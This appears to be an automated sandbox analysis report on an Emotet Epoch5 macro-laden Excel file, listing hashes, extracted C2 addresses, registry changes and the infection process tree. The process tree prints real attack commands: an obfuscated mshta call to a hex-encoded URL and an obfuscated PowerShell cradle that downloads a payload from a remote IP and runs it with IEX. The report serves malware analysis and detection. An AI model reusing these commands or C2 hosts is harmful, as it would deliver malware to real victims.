emotet | 3b4c7690fa48369fdc9a684e697c5ba23a23d5e89955484364a79fc0e74c99de

Analysis

max time kernel
150s
max time network
135s
platform
windows7_x64
resource
win7-en-20211208
submitted
20-01-2022 04:16

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General

Target

TJCPC-0392446.xlsm
Size

115KB
MD5

48904e8844874c95e6ab3513f7374aca
SHA1

b341da5b22ab387ac0a34a39f508702f8fbe8bc0
SHA256

3b4c7690fa48369fdc9a684e697c5ba23a23d5e89955484364a79fc0e74c99de
SHA512

c9d6b0e8a7e6093aa12cd634eabf9f7eb93ce21d611c8718e1656ee754d468b32282117d14275cb6737bc81dc1bd277443c201e8061acbd697c2ac5492e13a03

Score

10^/10

emotet epoch5 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	676	952	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 7 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 1380 mshta.exe
5 812 powershell.exe
7 812 powershell.exe
9 1824 rundll32.exe
10 1824 rundll32.exe
11 1824 rundll32.exe
13 1824 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1612 rundll32.exe
1612 rundll32.exe
1612 rundll32.exe
1612 rundll32.exe
1080 rundll32.exe
1080 rundll32.exe
1080 rundll32.exe
1080 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Pzgbpzpajcacnc\uudhddgtxaahjx.wes rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	1380	mshta.exe
5	812	powershell.exe
7	812	powershell.exe
9	1824	rundll32.exe
10	1824	rundll32.exe
11	1824	rundll32.exe
13	1824	rundll32.exe

pid	process
1612	rundll32.exe
1612	rundll32.exe
1612	rundll32.exe
1612	rundll32.exe
1080	rundll32.exe
1080	rundll32.exe
1080	rundll32.exe
1080	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Pzgbpzpajcacnc\uudhddgtxaahjx.wes	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEmshta.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

952 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

812 powershell.exe
1824 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 812 powershell.exe
Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

EXCEL.EXE

pid process

952 EXCEL.EXE
952 EXCEL.EXE
952 EXCEL.EXE
952 EXCEL.EXE
952 EXCEL.EXE

pid	process
952	EXCEL.EXE

pid	process
812	powershell.exe
1824	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	812	powershell.exe

pid	process
952	EXCEL.EXE
952	EXCEL.EXE
952	EXCEL.EXE
952	EXCEL.EXE
952	EXCEL.EXE

Suspicious use of WriteProcessMemory 48 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 952 wrote to memory of 1344	952	EXCEL.EXE	splwow64.exe
PID 952 wrote to memory of 1344	952	EXCEL.EXE	splwow64.exe
PID 952 wrote to memory of 1344	952	EXCEL.EXE	splwow64.exe
PID 952 wrote to memory of 1344	952	EXCEL.EXE	splwow64.exe
PID 952 wrote to memory of 676	952	EXCEL.EXE	cmd.exe
PID 952 wrote to memory of 676	952	EXCEL.EXE	cmd.exe
PID 952 wrote to memory of 676	952	EXCEL.EXE	cmd.exe
PID 952 wrote to memory of 676	952	EXCEL.EXE	cmd.exe
PID 676 wrote to memory of 1380	676	cmd.exe	mshta.exe
PID 676 wrote to memory of 1380	676	cmd.exe	mshta.exe
PID 676 wrote to memory of 1380	676	cmd.exe	mshta.exe
PID 676 wrote to memory of 1380	676	cmd.exe	mshta.exe
PID 1380 wrote to memory of 812	1380	mshta.exe	powershell.exe
PID 1380 wrote to memory of 812	1380	mshta.exe	powershell.exe
PID 1380 wrote to memory of 812	1380	mshta.exe	powershell.exe
PID 1380 wrote to memory of 812	1380	mshta.exe	powershell.exe
PID 812 wrote to memory of 1336	812	powershell.exe	cmd.exe
PID 812 wrote to memory of 1336	812	powershell.exe	cmd.exe
PID 812 wrote to memory of 1336	812	powershell.exe	cmd.exe
PID 812 wrote to memory of 1336	812	powershell.exe	cmd.exe
PID 1336 wrote to memory of 1612	1336	cmd.exe	rundll32.exe
PID 1336 wrote to memory of 1612	1336	cmd.exe	rundll32.exe
PID 1336 wrote to memory of 1612	1336	cmd.exe	rundll32.exe
PID 1336 wrote to memory of 1612	1336	cmd.exe	rundll32.exe
PID 1336 wrote to memory of 1612	1336	cmd.exe	rundll32.exe
PID 1336 wrote to memory of 1612	1336	cmd.exe	rundll32.exe
PID 1336 wrote to memory of 1612	1336	cmd.exe	rundll32.exe
PID 1612 wrote to memory of 1080	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 1080	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 1080	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 1080	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 1080	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 1080	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 1080	1612	rundll32.exe	rundll32.exe
PID 1080 wrote to memory of 1912	1080	rundll32.exe	rundll32.exe
PID 1080 wrote to memory of 1912	1080	rundll32.exe	rundll32.exe
PID 1080 wrote to memory of 1912	1080	rundll32.exe	rundll32.exe
PID 1080 wrote to memory of 1912	1080	rundll32.exe	rundll32.exe
PID 1080 wrote to memory of 1912	1080	rundll32.exe	rundll32.exe
PID 1080 wrote to memory of 1912	1080	rundll32.exe	rundll32.exe
PID 1080 wrote to memory of 1912	1080	rundll32.exe	rundll32.exe
PID 1912 wrote to memory of 1824	1912	rundll32.exe	rundll32.exe
PID 1912 wrote to memory of 1824	1912	rundll32.exe	rundll32.exe
PID 1912 wrote to memory of 1824	1912	rundll32.exe	rundll32.exe
PID 1912 wrote to memory of 1824	1912	rundll32.exe	rundll32.exe
PID 1912 wrote to memory of 1824	1912	rundll32.exe	rundll32.exe
PID 1912 wrote to memory of 1824	1912	rundll32.exe	rundll32.exe
PID 1912 wrote to memory of 1824	1912	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\TJCPC-0392446.xlsm
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:952

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1344

C:\Windows\SysWOW64\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:676

C:\Windows\SysWOW64\mshta.exe
mshta http://0x5cff39c3/sec/se1.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1380

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:812

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
5⤵
- Suspicious use of WriteProcessMemory
PID:1336

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1612

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1080

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Pzgbpzpajcacnc\uudhddgtxaahjx.wes",qfnjDimmymit
8⤵
- Suspicious use of WriteProcessMemory
PID:1912

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Pzgbpzpajcacnc\uudhddgtxaahjx.wes",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1824

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Public\Documents\ssd.dll
MD5
844cc96ab10a5c8f75c28ab601c2add1

SHA1
da1d0e19e88f2d50a3b1c6af4f1592e3d75ad7cb

SHA256
7f6b13a289f2263bd6e0bf1b73c320ae9680a57d17fbb5e3b397749099bfc910

SHA512
7fc767d80a5cbed1652123b9029efdb1ecf67b5ccc90f2469edc0aa4e7ef0110cb7c092aecd909eac2046ce2be772300b847a7f04a61e52d11c8427b73a29387

Download Submit
\Users\Public\Documents\ssd.dll
MD5
844cc96ab10a5c8f75c28ab601c2add1

SHA1
da1d0e19e88f2d50a3b1c6af4f1592e3d75ad7cb

SHA256
7f6b13a289f2263bd6e0bf1b73c320ae9680a57d17fbb5e3b397749099bfc910

SHA512
7fc767d80a5cbed1652123b9029efdb1ecf67b5ccc90f2469edc0aa4e7ef0110cb7c092aecd909eac2046ce2be772300b847a7f04a61e52d11c8427b73a29387

Download Submit
\Users\Public\Documents\ssd.dll
MD5
844cc96ab10a5c8f75c28ab601c2add1

SHA1
da1d0e19e88f2d50a3b1c6af4f1592e3d75ad7cb

SHA256
7f6b13a289f2263bd6e0bf1b73c320ae9680a57d17fbb5e3b397749099bfc910

SHA512
7fc767d80a5cbed1652123b9029efdb1ecf67b5ccc90f2469edc0aa4e7ef0110cb7c092aecd909eac2046ce2be772300b847a7f04a61e52d11c8427b73a29387

Download Submit
\Users\Public\Documents\ssd.dll
MD5
844cc96ab10a5c8f75c28ab601c2add1

SHA1
da1d0e19e88f2d50a3b1c6af4f1592e3d75ad7cb

SHA256
7f6b13a289f2263bd6e0bf1b73c320ae9680a57d17fbb5e3b397749099bfc910

SHA512
7fc767d80a5cbed1652123b9029efdb1ecf67b5ccc90f2469edc0aa4e7ef0110cb7c092aecd909eac2046ce2be772300b847a7f04a61e52d11c8427b73a29387

Download Submit
\Users\Public\Documents\ssd.dll
MD5
844cc96ab10a5c8f75c28ab601c2add1

SHA1
da1d0e19e88f2d50a3b1c6af4f1592e3d75ad7cb

SHA256
7f6b13a289f2263bd6e0bf1b73c320ae9680a57d17fbb5e3b397749099bfc910

SHA512
7fc767d80a5cbed1652123b9029efdb1ecf67b5ccc90f2469edc0aa4e7ef0110cb7c092aecd909eac2046ce2be772300b847a7f04a61e52d11c8427b73a29387

Download Submit
\Users\Public\Documents\ssd.dll
MD5
844cc96ab10a5c8f75c28ab601c2add1

SHA1
